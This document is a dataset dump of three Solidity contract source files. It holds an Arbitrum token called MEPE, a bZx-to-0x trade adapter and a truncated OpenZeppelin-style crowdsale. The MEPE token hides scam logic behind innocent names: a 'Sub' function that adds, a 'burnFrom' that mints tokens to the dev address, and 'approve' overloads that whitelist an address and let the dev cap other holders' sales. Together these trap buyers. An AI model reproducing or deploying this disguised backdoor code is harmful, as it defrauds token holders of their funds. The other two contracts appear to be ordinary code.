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47e31618464826f0dda8681def714b36d91e10c6cd95609590a60d33f8c40a8e
| 19,934 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/85/85eabf90a92c474fbd55877c52c878ee8e7e4c1c_MEPE.sol
| 3,227 | 11,018 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MEPE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**18;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = 0;
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
| 45,290 | 13,600 |
12be77fb47b43c9a12912ab30a6c548f4b195175cee807e2ff182f0687dba79f
| 24,288 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x56bf70558d3b607e38bc12ae64e69037ce91259b.sol
| 4,882 | 19,432 |
pragma solidity 0.5.3;
pragma experimental ABIEncoderV2;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
contract EIP20 is ERC20 {
string public name;
uint8 public decimals;
string public symbol;
}
interface NonCompliantEIP20 {
function transfer(address _to, uint256 _value) external;
function transferFrom(address _from, address _to, uint256 _value) external;
function approve(address _spender, uint256 _value) external;
}
contract EIP20Wrapper {
function eip20Transfer(address token,
address to,
uint256 value)
internal
returns (bool result) {
NonCompliantEIP20(token).transfer(to, value);
assembly {
switch returndatasize()
case 0 { // non compliant ERC20
result := not(0) // result is true
}
case 32 { // compliant ERC20
returndatacopy(0, 0, 32)
result := mload(0) // result == returndata of external call
}
default { // not an not an ERC20 token
revert(0, 0)
}
}
require(result, "eip20Transfer failed");
}
function eip20TransferFrom(address token,
address from,
address to,
uint256 value)
internal
returns (bool result) {
NonCompliantEIP20(token).transferFrom(from, to, value);
assembly {
switch returndatasize()
case 0 { // non compliant ERC20
result := not(0) // result is true
}
case 32 { // compliant ERC20
returndatacopy(0, 0, 32)
result := mload(0) // result == returndata of external call
}
default { // not an not an ERC20 token
revert(0, 0)
}
}
require(result, "eip20TransferFrom failed");
}
function eip20Approve(address token,
address spender,
uint256 value)
internal
returns (bool result) {
NonCompliantEIP20(token).approve(spender, value);
assembly {
switch returndatasize()
case 0 { // non compliant ERC20
result := not(0) // result is true
}
case 32 { // compliant ERC20
returndatacopy(0, 0, 32)
result := mload(0) // result == returndata of external call
}
default { // not an not an ERC20 token
revert(0, 0)
}
}
require(result, "eip20Approve failed");
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function divCeil(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
return ((_a - 1) / _b) + 1;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract BZxOwnable is Ownable {
address public bZxContractAddress;
event BZxOwnershipTransferred(address indexed previousBZxContract, address indexed newBZxContract);
// modifier reverts if bZxContractAddress isn't set
modifier onlyBZx() {
require(msg.sender == bZxContractAddress, "only bZx contracts can call this function");
_;
}
function transferBZxOwnership(address newBZxContractAddress) public onlyOwner {
require(newBZxContractAddress != address(0) && newBZxContractAddress != owner, "transferBZxOwnership::unauthorized");
emit BZxOwnershipTransferred(bZxContractAddress, newBZxContractAddress);
bZxContractAddress = newBZxContractAddress;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0) && newOwner != bZxContractAddress, "transferOwnership::unauthorized");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ExchangeV2Interface {
struct OrderV2 {
address makerAddress; // Address that created the order.
address takerAddress; // Address that is allowed to fill the order. If set to 0, any address is allowed to fill the order.
address feeRecipientAddress; // Address that will recieve fees when order is filled.
address senderAddress;
uint256 makerAssetAmount; // Amount of makerAsset being offered by maker. Must be greater than 0.
uint256 takerAssetAmount; // Amount of takerAsset being bid on by maker. Must be greater than 0.
uint256 makerFee;
uint256 takerFee;
uint256 expirationTimeSeconds; // Timestamp in seconds at which order expires.
uint256 salt; // Arbitrary number to facilitate uniqueness of the order's hash.
bytes makerAssetData;
bytes takerAssetData;
}
struct FillResults {
uint256 makerAssetFilledAmount; // Total amount of makerAsset(s) filled.
uint256 takerAssetFilledAmount; // Total amount of takerAsset(s) filled.
uint256 makerFeePaid; // Total amount of ZRX paid by maker(s) to feeRecipient(s).
uint256 takerFeePaid; // Total amount of ZRX paid by taker to feeRecipients(s).
}
/// @dev Fills the input order.
/// Returns false if the transaction would otherwise revert.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
/// @return Amounts filled and fees paid by maker and taker.
function fillOrderNoThrow(OrderV2 memory order,
uint256 takerAssetFillAmount,
bytes memory signature)
public
returns (FillResults memory fillResults);
/// Returns false if the transaction would otherwise revert.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketSellOrdersNoThrow(OrderV2[] memory orders,
uint256 takerAssetFillAmount,
bytes[] memory signatures)
public
returns (FillResults memory totalFillResults);
/// @dev Verifies that a signature is valid.
/// @param hash Message hash that is signed.
/// @param signerAddress Address that should have signed the given hash.
/// @param signature Proof of signing.
/// @return Validity of order signature.
function isValidSignature(bytes32 hash,
address signerAddress,
bytes calldata signature)
external
view
returns (bool isValid);
}
contract BZxTo0xShared {
using SafeMath for uint256;
/// @dev Calculates partial value given a numerator and denominator rounded down.
/// Reverts if rounding error is >= 0.1%
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return Partial value of target rounded down.
function _safeGetPartialAmountFloor(uint256 numerator,
uint256 denominator,
uint256 target)
internal
pure
returns (uint256 partialAmount)
{
require(denominator > 0,
"DIVISION_BY_ZERO");
require(!_isRoundingErrorFloor(numerator,
denominator,
target),
"ROUNDING_ERROR");
partialAmount = SafeMath.div(SafeMath.mul(numerator, target),
denominator);
return partialAmount;
}
/// @dev Checks if rounding error >= 0.1% when rounding down.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to multiply with numerator/denominator.
/// @return Rounding error is present.
function _isRoundingErrorFloor(uint256 numerator,
uint256 denominator,
uint256 target)
internal
pure
returns (bool isError)
{
require(denominator > 0,
"DIVISION_BY_ZERO");
// The absolute rounding error is the difference between the rounded
// value and the ideal value. The relative rounding error is the
// absolute rounding error divided by the absolute value of the
// ideal value. This is undefined when the ideal value is zero.
//
// The ideal value is `numerator * target / denominator`.
// Let's call `numerator * target % denominator` the remainder.
// The absolute error is `remainder / denominator`.
//
// When the ideal value is zero, we require the absolute error to
// be zero. Fortunately, this is always the case. The ideal value is
// zero iff `numerator == 0` and/or `target == 0`. In this case the
// remainder and absolute error are also zero.
if (target == 0 || numerator == 0) {
return false;
}
// Otherwise, we want the relative rounding error to be strictly
// less than 0.1%.
// The relative error is `remainder / (numerator * target)`.
// We want the relative error less than 1 / 1000:
// remainder / (numerator * denominator) < 1 / 1000
// or equivalently:
// 1000 * remainder < numerator * target
// so we have a rounding error iff:
// 1000 * remainder >= numerator * target
uint256 remainder = mulmod(target,
numerator,
denominator);
isError = SafeMath.mul(1000, remainder) >= SafeMath.mul(numerator, target);
return isError;
}
}
contract BZxTo0xV2 is BZxTo0xShared, EIP20Wrapper, BZxOwnable {
using SafeMath for uint256;
event LogFillResults(uint256 makerAssetFilledAmount,
uint256 takerAssetFilledAmount,
uint256 makerFeePaid,
uint256 takerFeePaid);
bool public DEBUG = false;
address public exchangeV2Contract;
address public zrxTokenContract;
address public erc20ProxyContract;
constructor(address _exchangeV2,
address _zrxToken,
address _proxy)
public
{
exchangeV2Contract = _exchangeV2;
zrxTokenContract = _zrxToken;
erc20ProxyContract = _proxy;
}
function()
external {
revert();
}
function take0xV2Trade(address trader,
address vaultAddress,
uint256 sourceTokenAmountToUse,
ExchangeV2Interface.OrderV2[] memory orders0x, // Array of 0x V2 order structs
bytes[] memory signatures0x) // Array of signatures for each of the V2 orders
public
onlyBZx
returns (address destTokenAddress,
uint256 destTokenAmount,
uint256 sourceTokenUsedAmount)
{
address sourceTokenAddress;
//destTokenAddress==makerToken, sourceTokenAddress==takerToken
(destTokenAddress, sourceTokenAddress) = getV2Tokens(orders0x[0]);
(sourceTokenUsedAmount, destTokenAmount) = _take0xV2Trade(trader,
sourceTokenAddress,
sourceTokenAmountToUse,
orders0x,
signatures0x);
if (sourceTokenUsedAmount < sourceTokenAmountToUse) {
// all sourceToken has to be traded
revert("BZxTo0xV2::take0xTrade: sourceTokenUsedAmount < sourceTokenAmountToUse");
}
// transfer the destToken to the vault
eip20Transfer(destTokenAddress,
vaultAddress,
destTokenAmount);
}
/// @dev Calculates partial value given a numerator and denominator.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return Partial value of target.
function getPartialAmount(uint256 numerator, uint256 denominator, uint256 target)
public
pure
returns (uint256)
{
return SafeMath.div(SafeMath.mul(numerator, target), denominator);
}
/// @dev Extracts the maker and taker token addresses from the 0x V2 order object.
/// @param order 0x V2 order object.
/// @return makerTokenAddress and takerTokenAddress.
function getV2Tokens(ExchangeV2Interface.OrderV2 memory order)
public
pure
returns (address makerTokenAddress,
address takerTokenAddress)
{
bytes memory makerAssetData = order.makerAssetData;
bytes memory takerAssetData = order.takerAssetData;
bytes4 makerProxyID;
bytes4 takerProxyID;
// example data: 0xf47261b00000000000000000000000001dc4c1cefef38a777b15aa20260a54e584b16c48
assembly {
makerProxyID := mload(add(makerAssetData, 32))
takerProxyID := mload(add(takerAssetData, 32))
makerTokenAddress := mload(add(makerAssetData, 36))
takerTokenAddress := mload(add(takerAssetData, 36))
}
// ERC20 Proxy ID -> bytes4(keccak256("ERC20Token(address)")) = 0xf47261b0
require(makerProxyID == 0xf47261b0 && takerProxyID == 0xf47261b0, "BZxTo0xV2::getV2Tokens: 0x V2 orders must use ERC20 tokens");
}
function set0xV2Exchange (address _exchange)
public
onlyOwner
{
exchangeV2Contract = _exchange;
}
function setZRXToken (address _zrxToken)
public
onlyOwner
{
zrxTokenContract = _zrxToken;
}
function set0xTokenProxy (address _proxy)
public
onlyOwner
{
erc20ProxyContract = _proxy;
}
function approveFor (address token,
address spender,
uint256 value)
public
onlyOwner
returns (bool)
{
eip20Approve(token,
spender,
value);
return true;
}
function toggleDebug (bool isDebug)
public
onlyOwner
{
DEBUG = isDebug;
}
function _take0xV2Trade(address trader,
address sourceTokenAddress,
uint256 sourceTokenAmountToUse,
ExchangeV2Interface.OrderV2[] memory orders0x, // Array of 0x V2 order structs
bytes[] memory signatures0x)
internal
returns (uint256 sourceTokenUsedAmount, uint256 destTokenAmount)
{
uint256 zrxTokenAmount = 0;
uint256 takerAssetRemaining = sourceTokenAmountToUse;
for (uint256 i = 0; i < orders0x.length; i++) {
// Note: takerAssetData (sourceToken) is confirmed to be the same in 0x for batch orders
// trade will fail for invalid orders.
if (i > 0)
orders0x[i].makerAssetData = orders0x[0].makerAssetData;
// calculate required takerFee
if (takerAssetRemaining > 0 && orders0x[i].takerFee > 0) { // takerFee
if (takerAssetRemaining >= orders0x[i].takerAssetAmount) {
zrxTokenAmount = zrxTokenAmount.add(orders0x[i].takerFee);
takerAssetRemaining = takerAssetRemaining.sub(orders0x[i].takerAssetAmount);
} else {
zrxTokenAmount = zrxTokenAmount.add(_safeGetPartialAmountFloor(takerAssetRemaining,
orders0x[i].takerAssetAmount,
orders0x[i].takerFee));
takerAssetRemaining = 0;
}
}
}
if (zrxTokenAmount > 0) {
eip20TransferFrom(zrxTokenContract,
trader,
address(this),
zrxTokenAmount);
}
uint256 tempAllowance = EIP20(sourceTokenAddress).allowance(address(this), erc20ProxyContract);
if (tempAllowance < sourceTokenAmountToUse) {
if (tempAllowance > 0) {
// reset approval to 0
eip20Approve(sourceTokenAddress,
erc20ProxyContract,
0);
}
eip20Approve(sourceTokenAddress,
erc20ProxyContract,
sourceTokenAmountToUse);
}
ExchangeV2Interface.FillResults memory fillResults;
if (orders0x.length > 1) {
fillResults = ExchangeV2Interface(exchangeV2Contract).marketSellOrdersNoThrow(orders0x,
sourceTokenAmountToUse,
signatures0x);
} else {
fillResults = ExchangeV2Interface(exchangeV2Contract).fillOrderNoThrow(orders0x[0],
sourceTokenAmountToUse,
signatures0x[0]);
}
if (zrxTokenAmount > 0 && fillResults.takerFeePaid < zrxTokenAmount) {
// refund unused ZRX token (if any)
eip20Transfer(zrxTokenContract,
trader,
zrxTokenAmount.sub(fillResults.takerFeePaid));
}
if (DEBUG) {
emit LogFillResults(fillResults.makerAssetFilledAmount,
fillResults.takerAssetFilledAmount,
fillResults.makerFeePaid,
fillResults.takerFeePaid);
}
sourceTokenUsedAmount = fillResults.takerAssetFilledAmount;
destTokenAmount = fillResults.makerAssetFilledAmount;
}
}
| 146,035 | 13,601 |
bbc65e863a22e96137441b62aa0b3a2767b76fd7895d3cf8bb2513a64b3a0014
| 19,707 |
.sol
|
Solidity
| false |
235597819
|
eth-sri/securify2
|
def1e30ba9198828d048fbba5fbb6cd27f7e1b04
|
tests/solidity/test_real_contracts/IndividuallyCappedCrowdsaleImpl.sol
| 2,980 | 11,473 |
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
require(address(token).isContract());
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) { // Return data is optional
require(abi.decode(returndata, (bool)));
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
// Address where funds are collected
address payable private _wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (uint256 rate, address payable wallet, IERC20 token) public {
require(rate > 0);
require(wallet != address(0));
require(address(token) != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns (IERC20) {
return _token;
}
function wallet() public view returns (address payable) {
return _wallet;
}
function rate() public view returns (uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
// solhint-disable-previous-line no-empty-blocks
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal {
// solhint-disable-previous-line no-empty-blocks
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract CapperRole {
using Roles for Roles.Role;
event CapperAdded(address indexed account);
event CapperRemoved(address indexed account);
Roles.Role private _cappers;
constructor () internal {
_addCapper(msg.sender);
}
modifier onlyCapper() {
require(isCapper(msg.sender));
_;
}
function isCapper(address account) public view returns (bool) {
return _cappers.has(account);
}
function addCapper(address account) public onlyCapper {
_addCapper(account);
}
function renounceCapper() public {
_removeCapper(msg.sender);
}
function _addCapper(address account) internal {
_cappers.add(account);
emit CapperAdded(account);
}
function _removeCapper(address account) internal {
_cappers.remove(account);
emit CapperRemoved(account);
}
}
contract IndividuallyCappedCrowdsale is Crowdsale, CapperRole {
using SafeMath for uint256;
mapping(address => uint256) private _contributions;
mapping(address => uint256) private _caps;
